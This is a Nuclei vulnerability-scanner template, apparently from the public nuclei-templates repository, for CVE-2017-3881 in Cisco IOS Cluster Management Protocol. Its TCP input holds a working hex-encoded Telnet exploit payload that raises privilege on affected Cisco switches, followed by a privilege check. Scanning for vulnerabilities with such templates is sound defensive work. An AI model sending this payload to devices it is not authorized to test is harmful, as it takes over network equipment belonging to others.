nuclei-templates/network/cves/2017/CVE-2017-3881.yaml

46 lines
3.3 KiB
YAML
Raw Normal View History

id: CVE-2017-3881
info:
name: Cisco IOS 12.2(55)SE11 - Remote Code Execution
author: dwisiswant0
severity: critical
description: |
A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
2023-09-06 13:28:19 +00:00
remediation: Deactivate a telnet connection or employ Access Control Lists (ACLs) to limit access.
reference:
2021-03-14 18:47:03 +00:00
- https://github.com/artkond/cisco-rce
2021-03-11 15:24:59 +00:00
- https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
- https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
- https://nvd.nist.gov/vuln/detail/CVE-2017-3881
2023-07-16 13:29:08 +00:00
- http://www.securitytracker.com/id/1038059
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-3881
cwe-id: CWE-20
epss-score: 0.9745
epss-percentile: 0.99948
2023-07-16 13:29:08 +00:00
cpe: cpe:2.3:o:cisco:ios:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-16 13:29:08 +00:00
vendor: cisco
product: ios
tags: cve2017,network,cve,cisco,rce,kev,msf
tcp:
2023-07-16 13:29:08 +00:00
- host:
- "{{Hostname}}"
- "{{Host}}:23"
inputs:
- data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
read: 1024
2023-07-16 13:29:08 +00:00
- data: "show priv"
read: 1024
read-size: 1024
matchers:
- type: word
words:
- "Current privilege level is"
# digest: 490a004630440220637b8aa2350336b742a3993cb1a96a8a779de7b8875174d6ad6e6d0504d0a3f302202ab410bbcd75956ca4d9a817100841b63cd87c5c7a91e7eeae580f15d82b8329:922c64590222798bb761d5b6d8e72950